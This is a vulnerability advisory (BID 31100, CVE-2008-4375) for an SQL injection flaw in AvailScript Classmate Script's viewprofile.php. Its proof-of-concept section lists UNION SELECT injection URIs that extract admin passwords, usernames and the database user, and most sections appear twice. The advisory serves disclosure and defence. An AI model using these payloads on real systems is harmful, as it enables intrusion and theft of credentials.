AvailScript Classmate Script 'viewprofile.php' SQL Injection Vulnerability
BID:31100
Info
AvailScript Classmate Script 'viewprofile.php' SQL Injection Vulnerability
| Bugtraq ID: | 31100 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-4375 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 09 2008 12:00AM |
| Updated: | May 07 2015 05:24PM |
| Credit: | Stack |
| Vulnerable: |
AvailScript Classmate Script 0 |
| Not Vulnerable: | |
Discussion
AvailScript Classmate Script 'viewprofile.php' SQL Injection Vulnerability
AvailScript Classmate Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
AvailScript Classmate Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
AvailScript Classmate Script 'viewprofile.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/viewprofile.php?p=-1%20union%20select%201,2,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
http://www.example.com/viewprofile.php?p=-1%20union%20select%201,2,3,4,username,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
http://www.example.com/viewprofile.php?p=-1%20union%20select%201,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17--
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/viewprofile.php?p=-1%20union%20select%201,2,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
http://www.example.com/viewprofile.php?p=-1%20union%20select%201,2,3,4,username,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
http://www.example.com/viewprofile.php?p=-1%20union%20select%201,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17--
Solution / Fix
AvailScript Classmate Script 'viewprofile.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
AvailScript Classmate Script 'viewprofile.php' SQL Injection Vulnerability
References:
References:
- Classmate Script Homepage (AvailScript)